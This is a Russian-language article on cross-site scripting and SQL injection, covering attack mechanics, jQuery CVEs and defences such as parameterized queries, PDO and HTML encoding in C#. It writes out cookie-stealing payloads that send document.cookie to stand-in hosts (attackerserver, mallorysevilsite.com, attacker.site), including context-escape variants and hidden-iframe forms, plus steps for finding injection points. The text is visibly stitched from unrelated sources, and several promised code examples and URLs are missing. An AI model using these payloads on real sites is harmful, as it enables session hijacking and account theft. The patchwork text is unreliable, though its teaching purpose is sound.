Cross-site scripting (xss): определение и предотвращение
Содержание:
Введение в jQuery
jQuery — это быстрый и лаконичный JavaScript-фреймворк и богатая JavaScript-база jQuery предназначен для написания меньшего количества кода и выполнения большего количества задач. Он инкапсулирует обычно используемые функциональные коды JavaScript, предоставляет простой режим разработки JavaScript, оптимизирует работу с HTML-документами, обработку событий, разработку анимации и взаимодействие с Ajax. jQuery — это инфраструктура пользовательского интерфейса JavaScript, которая обеспечивает уровень абстракции для многих функций манипулирования DOM. Он предоставляет разработчикам дружественный интерфейс, который может быстро и динамически обновлять DOM без перезагрузки всей страницы. Это преимущество и концепция JQuery. Но хотя у jQuery есть много преимуществ, у него также есть некоторые проблемы с безопасностью, и все проблемы безопасности jQuery связаны с этими злоупотребленными функциями.
Принцип действия атак, основанных на межсайтовом скриптинге
Код эксплоита для атак на основе межсайтового скриптинга обычно (но не всегда) разрабатывается с использованием HTML/JavaScript для исполнения в браузере жертвы атаки. Сервер используется только для хранения вредоносного кода. Взломщик использует только надежные веб-сайты в качестве площадок для проведения атаки.
Типичные атаки на основе межсайтового скриптинга являются результатом недоработок в веб-приложениях на стороне сервера и заключаются в недостаточной обработке введенных пользователем данных в плане удаления управляющих символов HTML. Если взломщикам удастся вставить произвольный HTML-код, они могут контролировать процесс исполнения страницы с правами, заданными для сайта. Часто встречающимися местами, предоставляющими взломщикам возможность для проведения атак являются страницы с «подтверждением» или «выводом результатов» (примером являются поисковые машины, выводящие пользовательский запрос) или страницы ошибок для форм, помогающие пользователям, заполняя поля формы корректно введенными данными.
Следующая простейшая PHP-страница уязвима для XSS-атак!
<?php echo "Hello, {$HTTP_GET_VARS}!"; ?>
Как только осуществляется доступ на страницу, содержащую этот код, переменная, переданная при помощи метода GET (строки запроса) без изменений выводится на страницу, генерируемую при помощи PHP. Если вы передадите корректные данные (например, строку «Arpit Bajpai») в качестве аргумента, URL будет выглядеть следующим образом: (с учетом того, что вы используете сервер, установленный на вашем компьютере, что стоит сделать для тестирования этих примеров). Вывод этого запроса безопасен и показан на Рисунке 1.
Рисунок 1: Безопасная передача данных
Теперь проведем небольшое вмешательство в URL, изменив его следующим образом: .
Результат показан на Рисунке 2. Он все еще кажется безвредным, но тот факт, что вводимые данные не проверяются PHP-сценарием перед отправкой их браузеру пользователя говорит о том, что есть возможность осуществить вставку более опасного кода в состав уязвимой страницы.
Рисунок 2: Необработанный вывод
Как и в большинстве случаев, главной целью XSS-атаки является похищение кук с идентификационными данными пользователей. Ниже показан классический пример попытки организации атаки путем размещения вредоносного JavaScript-кода в системе онлайн-сообщений и сбора данных из пользовательских кук.
<script>document.location="http://attackerserver/cookie.php?c="+document.cookie</script>
В ходе работы этого сценария в файле сохраняются данные, включающие в себя IP-адрес жертвы, дату и время получения данных из кук и адрес страницы, с которой был осуществлен переход по вредоносной ссылке, указывающей на сценарий .
Воспользовавшись этой информацией, взломщик впоследствии может перейти на сайт системы онлайн-собщений и использовать полученные данные из кук, что позволит ему представиться пользователем, ставшим жертвой атаки.
На данном этапе сообразительные пользователи могут отнестись с подозрением к переходу на домашнюю страницу или заподозрить неладное, основываясь на том, что данный переход не свойственен для корректной работы веб-приложения. Для атак в отношении таких пользователей взломщики в большинстве случаев предпочитают использовать в сценариях тэг IFRAME аналогичным показанному ниже способом:
<iframe frameborder=0 height=0 width=0 src=javascript:void(document.location= «http://attackerserver/cookie.php?c=»+document.cookie)></iframe>
Метод реализации XSS-атаки
Вредоносный код для осуществления межсайтового скриптинга пишется на языке JavaScript и запуститься он может исключительно в браузере жертвы. Поэтому ресурс, который открывает пользователь, должен быть незащищенным от XSS (быть уязвимым к такого рода атакам).
Поэтому чтобы совершить XSS, первым делом злоумышленник проводит поиск сайтов, уязвимых к скриптингу. Делается это либо вручную через поиск, либо с помощью автоматизированных приложений. Как правило, тестируются стандартные формы, через которые выполняется отправка/прием запросов: система поиска по сайту, комментарии, обратная связь и т.п. Обычно злоумышленники выполняют проверку на уязвимость к XSS через Internet Explorer.
В ходе такого «исследования» выполняется сбор данных со страниц с формами ввода и каждая из таких страниц сканируется на наличие уязвимостей к XSS. К примеру, на вашем сайте есть страница для поиска по блогу. Чтобы проверить ее на уязвимость к скрипту, нужно использовать запрос:
<script>alert(«cookie: «+document.cookie)</script>
Если на дисплее появляется окно с сообщением об обнаруженной уязвимости, нужно срочно предпринимать меры. Если бреши нет, вы просто увидите привычную страницу с поиском.
Если сайт управляется какой-то популярной CMS, то бреши быть не должно, так как современные системы управления контентом сайта надежно защищены от XSS. Но, если вы расширяли функциональные возможности своего сайта при помощи каких-либо плагинов, модулей и дополнений, которые были разработаны сторонними веб-программистами, есть риск обнаружения уязвимости к XSS. А особенно это касается доработок для WordPress, Joomla, DLE и Bitrix.
Альтернативный вариант поиска бреши на сайте — использование страниц, работающих с GET-запросами. К примеру, мы имеем ссылку http://site.com/catalog?p=7. В браузерной строке вместо идентификатора «7» мы вписываем скрипт «><script>alert(«cookie: «+document.cookie)</script>, после чего получаем ссылку вида http://site.com/catalog?p=»><script>alert(«cookie: «+document.cookie)</script>. Если на этой странице будет обнаружена уязвимость, на дисплее появится уведомление с соответствующей информацией.
Разумеется, злоумышленники используют для поиска брешей на сайтах массу различных скриптов с запросами и, если вдруг ни один из них не дает желаемого результата, значит атаковать сайт с помощью XSS не получится, так как он имеет надежную защиту.
обзор
Во многих выпусках JQuery существуют уязвимости XSS (типа межсайтового скриптинга), основанные на DOM, которые могут быть легко использованы злоумышленниками. Причина этой уязвимости заключается в том, что регулярное выражение, используемое для фильтрации входных данных пользователя, имеет недостатки, что может привести к уязвимости межсайтового расположения. Кроме того, библиотеки пользовательского интерфейса jQuery до 1.12.0 также могут выполнять XSS-атаки на основе DOM с помощью параметра closeText функции диалогового окна. соответствует номеру уязвимости CVE: CVE-2011-4969, CVE-2012-6708, CVE-2014-6071, CVE-2015-9251, CVE-2016-7103
SQL-инъекция
Так называемая атака с использованием SQL-инъекции заключается в том, что злоумышленник вставляет команды SQL в поля ввода веб-формы или в строку запроса, запрашиваемую страницей, чтобы обманом заставить сервер выполнить вредоносные команды SQL. Злоумышленник обманывает сервер базы данных для выполнения несанкционированных запросов и подделки команд, добавляя дополнительные элементы оператора SQL в конец операторов SQL, которые предварительно определены в приложении.
Он может легко обойти брандмауэр для прямого доступа к базе данных и даже получить системные разрешения сервера, на котором расположена база данных. Среди уязвимостей веб-приложений риск SQL-инъекций выше, чем всех других уязвимостей.
Принцип атаки
Простой способ найти точки инъекции
1. Ищите веб-страницы с URL-адресами со строками запроса (например, запрашивайте страницы с «id =» в URL-адресе).
2. Отправьте запрос на этот веб-сайт и измените оператор id = на дополнительную одинарную кавычку (например: id = 123 ’).
3. Посмотрите на возвращаемый контент, найдите такие ключевые слова, как «sql», «statement» и т. Д. (Это также означает, что были возвращены определенные сообщения об ошибках, что само по себе плохо)
4. Указывает ли сообщение об ошибке, что параметры, отправленные на сервер SQL, неправильно закодированы? Если да, это означает, что веб-сайт может быть атакован с помощью SQL-инъекции.
Как предотвратить атаки с использованием SQL-инъекций
Распространенная ошибка заключается в том, что если вы используете хранимые процедуры или ORM, вы полностью защищены от атак SQL-инъекций. Это неверно. Вы все равно должны быть осторожны при передаче данных в хранимую процедуру или при использовании ORM для настройки запроса, ваш подход безопасен.
Параметризованный запрос считается наиболее эффективной защитой от атак с использованием SQL-инъекций. Текущие основные структуры ORM имеют встроенную поддержку, и рекомендуется использовать этот метод для инкапсуляции уровня сохраняемости.
Так называемый параметризованный запрос (Parameterized Query или Parameterized Statement) относится к использованию параметров (Parameter) для предоставления значений при проектировании соединения с базой данных и доступе к данным, где значения или данные должны быть заполнены.
Пример: SELECT * FROM myTable WHERE myID = @myID
INSERT INTO myTable (c1, c2, c3, c4) VALUES (@ c1, @ c2, @ c3, @ c4) или INSERT INTO myTable (c1, c2, c3, c4) VALUES (?,?,?,?)
Укажите заполнитель с помощью (?). Разумеется, при добавлении параметров вы должны добавлять их в порядке (c1, c2, c3, c4), иначе возникнет ошибка.
Как защитить сайт от SQL-инъекции
Прежде всего запомните, что безопасных систем не бывает, поэтому нужно постоянно искать уязвимости, которые могут быть у вашего сайта.
1. Используйте белые списки
В примере выше нас бы спасло, если бы существовал белый список — нужно указать допустимые ключи и значения.
Теперь в переменные $key и $values попадут только те значения, которые входят в белый список $allowed.
2. Не пользуйтесь методом GET в формах
Передавать переменные этим способом очень опасно, потому что они оказываются на виду у пользователей. Если информация важная, то лучше используйте POST. Из ссылки злоумышленник может узнать не только имена переменных, но и какие значения должны быть в них — так он сможет выбрать оптимальную переменную для ввода инъекции.
Не советуем использовать переменные прямиком из супермассива — лучше поместить их в другую переменную, предварительно проверив данные.
3. Обрабатывайте переменные
Старайтесь экранировать кавычки, заменять служебные символы, удалять лишние пробелы и так далее. Давайте посмотрим, что будет, если этого не делать:
Используйте функции trim (убирает лишние пробелы), htmlspecialchars (заменяет треугольные скобки и другие спецсимволы), addslashes (экранирует кавычки и специальные символы) и другие.
В приведенной форме регистрации, например, злоумышленник мог бы использовать кавычки и запятые, чтобы добавить новый ключ и новое значение. То есть, введя в поле что-то вроде «pass’, ’something», он бы добавил какую-нибудь еще информацию, которая не проходит белый список.
Также вы можете проверять типы переменных — число, строка, файл и так далее.
4. Проверяйте, откуда пришли данные
Недостаточно просто обработать данные — нужно узнать, откуда они пришли. Отследить источник можно несколькими способами:
- проверять его в $_SERVER;
- создать скрытое поле в форме;
- указать имя формы;
- указать имя кнопки отправки и так далее.
Конечно, это лишь незначительный бонус к защите, но зато он отсеивает часть неопытных взломщиков, которые бросят свои потуги после нескольких попыток.
5. Используйте PDO
С помощью PDO и плейсхолдеров можно значительно снизить риск инъекции, потому что данные и запрос отправляются отдельно. Сначала производится подключение к базе, потом подготавливается запрос, затем отдельно указываются переменные, и, наконец, запрос выполняется. Выглядит это так:
Данные отправляются уже в виде переменных. То есть если бы в переменной кто-то поставил лишнюю кавычку, сервер бы не подумал, что она — часть запроса. Поэтому попытка испортить запрос через переменную не сработала бы.
Этот способ, пожалуй, эффективнее остальных, поэтому переходите на PDO как можно скорее. Хотя его использование не означает, что другие меры безопасности уже не нужны — чем больше защитных механизмов вы установите, тем сохраннее будет информация.
Часто проверками пренебрегают самоучки, которые изучают темы «по верхушкам», — они могут решить задачу, но редко задумываются о том, чтобы устранить уязвимости. Поэтому мы предлагаем курс с системным обучением — вы научитесь создавать эффективные и надежные системы, которым не будут страшны инъекции и утечки данных.
Примеры эксплуатирования XSS
Злоумышленники, намеревающиеся использовать уязвимости межсайтового скриптинга, должны подходить к каждому классу уязвимостей по-разному. Здесь описаны векторы атак для каждого класса.
При уязвимостях XSS в атаках может использоваться BeEF, который расширяет атаку с веб-сайта на локальное окружение пользователей.
Пример атаки с непостоянным XSS
1. Алиса часто посещает определённый веб-сайт, который хостит Боб. Веб-сайт Боба позволяет Алисе осуществлять вход с именем пользователя/паролем и сохранять чувствительные данные, такие как платёжная информация. Когда пользователь осуществляет вход, браузер сохраняет куки авторизации, которые выглядят как бессмысленные символы, т.е. оба компьютера (клиент и сервер) помнят, что она вошла.
2. Мэлори отмечает, что веб-сайт Боба содержит непостоянную XSS уязвимость:
2.1 При посещении страницы поиска, она вводим строку для поиска и кликает на кнопку отправить, если результаты не найдены, страница отображает введённую строку поиска, за которой следуют слова «не найдено» и url имеет вид http://bobssite.org?q=её поисковый запрос
2.2 С нормальным поисковым запросом вроде слова «собачки» страница просто отображает «собачки не найдено» и url http://bobssite.org?q=собачки, что является вполне нормальным поведением.
2.3 Тем не менее, когда в поиск отправляется аномальный поисковый запрос вроде <script type=’text/javascript’>alert(‘xss’);</script>:
2.3.1 Появляется сообщение с предупреждением (которое говорит «xss»).
2.3.2 Страница отображает <script type=’text/javascript’>alert(‘xss’);</script> не найдено наряду с сообщением об ошибке с текстом ‘xss’.
2.3.3 url, пригодный для эксплуатации http://bobssite.org?q=<script%20type=’text/javascript’>alert(‘xss’);</script>
3. Мэлори конструирует URL для эксплуатации уязвимости:
3.1 Она делает URL http://bobssite.org?q=puppies<script%20src=»http://mallorysevilsite.com/authstealer.js»></script>. Она может выбрать конвертировать ASCII символы в шестнадцатеричный формат, такой как http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E для того, чтобы люди не смогли немедленно расшифровать вредоносный URL.
5. Программа authstealer.js запускается в браузере Алисы так, будто бы её источником является веб-сайт Боба. Она захватывает копию куки авторизации Алисы и отправляет на сервер Мэлори, где Мэлори их извлекает.
6. Мэлори теперь размещает куки авторизации Алисы в своём браузере как будто бы это её собственные. Затем она переходит на сайт Боба и оказывается залогиненной как Алиса.
7. Теперь, когда Мэлори внутри, она идёт в платёжный раздел веб-сайта, смотрит и крадёт копию номера кредитной карты Алисы. Затем она идёт и меняет пароль, т.е. теперь Алиса даже не может больше зайти.
8. Она решает сделать следующий шаг и отправляет сконструированную подобным образом ссылку самому Бобу, и таким образом получает административные привилегии сайта Боба.
Атака с постоянным XSS
- Мэлори имеет аккаунт на сайте Боба.
- Мэлори замечает, что веб-сайт боба содержит постоянную XSS уязвимость. Если вы переходите в новый раздел, размещаете комментарий, то он отображает что бы в него не напечатали. Но если текст комментария содержит HTML тэги, эти тэги будут отображены как есть, и любые тэги скриптов запускаются.
- Мэлори читает статью в разделе Новости и пишет комментарий в разделе Комментарии. В комментарий она вставляет текст:
- В этой истории мне так понравились собачки. Они такие славные! <script src=»http://mallorysevilsite.com/authstealer.js»>
- Когда Алиса (или ещё кто-либо) загружают страницу с этим комментарием, тэг скрипта Мэлори запускается и ворует куки авторизации Алисы, отправляет на секретный сервер Мэлори для сбора.
- Мэлори теперь может перехватить сессию Алисы и выдать себя за Алису.
5) Контекст JavaScript
Внутри раздела страницы JavaScript кода.
<script>
некоторый_javascript
пользовательский_ввод
некоторый_javascript
</script>
Это относится к разделу, заключённому в тэги SCRIPT, в значения атрибутов обработчиков событий и в URL, обрабатывающихся с JavaScript.
Внутри JavaScript пользовательский ввод может появляться в следующих контекстах:
- a) Контекст кода
- b) Контекст строки внутри одинарных кавычек
- c) Контекст строки внутри двойных кавычек
- d) Контекст комментария в одну строку
- e) Контекст комментария в несколько строк
- f) Строки, которые отправляются исполняющим поглотителям
Если пользовательский ввод между тэгами SCRIPT, то не имеет значения, в каком из контекстов он появился, вы можете переключиться на контекст HTML просто включив закрывающий тэг SCRIPT, а затем вставить любой HTML.
Например:
</script><img src=x onerror=alert(1)>
Если вы не собираетесь переключаться на HTML контекст, тогда вам нужно специально обработать ввод в зависимости от специфичного JavaScript контекста, в котором он появляется.
a) Контекст кода
function dev_func(input) {some_js_code}
dev_func(пользовательский_ввод);
some_variable=123;
Это исполняемый контекст, пользовательский ввод напрямую появляется в выражении и вы можете напрямую ввести элементы JavaScript и они будут выполнены.
Например:
$.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//
b) Контекст строки внутри одинарных кавычек
var some_variable=’пользовательский_ввод’;
Это не исполняемый контекст и пользовательский ввод должен включать одинарную кавычку в начале для выхода из контекста строки и перехода в контекст кода.
Например:
‘; $.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//
c) Контекст строки внутри двойных кавычек
var some_variable=»пользовательский_ввод»;
Это не исполняемый контекст и пользовательский ввод должен включать двойную кавычку в начале для выхода из контекста строки и перехода в контекст кода.
Например:
«; $.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//
d) Контекст команды в одну строку
some_js_func();//пользовательский_ввод
Это не исполняемый контекст и пользовательский ввод должен включать символ новой строки для выхода из контекста комментария строки и переключения в контекст кода.
Например:
\r\n$.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//
e) Контекст многострочного комментария
some_js_func();
/*
пользовательский_ввод
*/
some_js_code
Это не исполняемый контекст и пользовательский ввод должен включать */ для выхода из контекста многострочного комментария и переключения в контекст кода.
Например:
*/$.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//
f) Строка, предназначенная для исполнителей кода
Эти контекст строк заключённых в кавычки или в двойные кавычки, но важно то, что эти строки передаются функциями или назначаются свойствам, которые будут обработаны как исполняемый код.
Вот несколько примеров:
- eval(«пользовательский_ввод»);
- location = «пользовательский_ввод»;
- setTimeout(1000, «пользовательский_ввод»);
- x.innerHTML = «пользовательский_ввод»;
Дополнительные конструкции для исполнения кода смотрите в DOM XSS wiki.
Это должно обрабатываться похожим образом с контекстом кода.
Способы защиты от XSS уязвимостей при разработке
Так как я являюсь C# разработчиком, то способы защиты от XSS будут рассмотрены для языка C#. Однако это никак не повлияет на информативность, потому что варианты защиты, описанные ниже, подойдут для практически любого языка программирования.
Первый вариант защиты от XSS уязвимостей при разработке – это использование возможностей веб-фреймворка. Например, в C# фреймворке ASP.NET можно в файлах .cshtml и .razor смешивать HTML разметку и C# код:
В этом файле на странице отображается результат C# выражения Model.RequestId. Чтобы данный тип файла скомпилировался, C# выражение или блок C# кода должен начинаться с символа ‘@’. Однако этот символ не только позволяет использовать C# вместе с HTML разметкой в одном файле, но и указывает ASP.NET, что если блок кода или выражение возвращают значение, то перед его отображением на странице необходимо в значении кодировать символы HTML в HTML-сущности. HTML-сущности — это части текста («строки»), которые начинаются с символа амперсанда (&) и заканчиваются точкой с запятой (;). Сущности чаще всего используются для представления специальных символов (которые могут быть восприняты как часть HTML-кода) или невидимых символов (таких как неразрывный пробел). Таким образом ASP.NET защищает разработчиков от XSS атак.
Однако особое внимание стоит уделить файлам с расширением .aspx в ASP.NET (более старая версия файлов HTML страниц с поддержкой C# кода). Этот тип файлов не кодирует автоматически результаты C# выражений
Для кодирования HTML символов в C# выражениях в этом типе файлов необходимо помещать C# код в блок кода . Например:
Вторым вариантом является кодирование HTML символов в HTML-сущности перед отображением данных на веб-странице «вручную», то есть с использованием специальных функций-кодировщиков. В C# для этого имеются специальные методы:
- System.Web.HttpUtility.HtmlEncode(string);
- System.Net.WebUtility.HtmlEncode(string);
- System.Web.Security.AntiXss.HtmlEncode(string);
- System.Text.Encodings.Web.HtmlEncoder.Default.Encode(string).
В результате кодирования HTML символов вредоносный код не выполняется браузером, а просто отображается в виде текста на веб-странице, причем закодированные символы отображаются корректно.
Давайте я продемонстрирую данный способ защиты на примере XSS атаки, проведённой ранее. Вот только одна проблема: в JavaScript я не нашёл функции, которая кодирует HTML символы в HTML-сущности. Зато я нашёл в интернете способ, как быстро и легко написать такую функцию:
При написании этой функции была использована особенность свойства Element.innerHTML. Используем эту функцию на HTML странице из примера XSS атаки:
Здесь мы кодируем значение xss параметра при помощи функции htmlEncode перед отображением на странице.
Теперь откроем эту страницу, передав в параметре xss строку <script>alert(«You’ve been hacked! This is an XSS attack!»)</script>:
Как видите, при кодировании строки со скриптом браузер просто отображает эту строку на странице, а не выполняет скрипт.
Третий вариант защиты – это валидация данных, полученных от пользователя или какого-то другого внешнего источника (HTML запрос, база данных, файл и т.п.). Для этого типа защиты хорошо подходят регулярные выражения. Их можно использовать для отлова данных, содержащих опасные символы или конструкции. При обнаружении подобных данных валидатором приложение просто должно выдать пользователю сообщение об опасных данных и не отправлять их далее на обработку.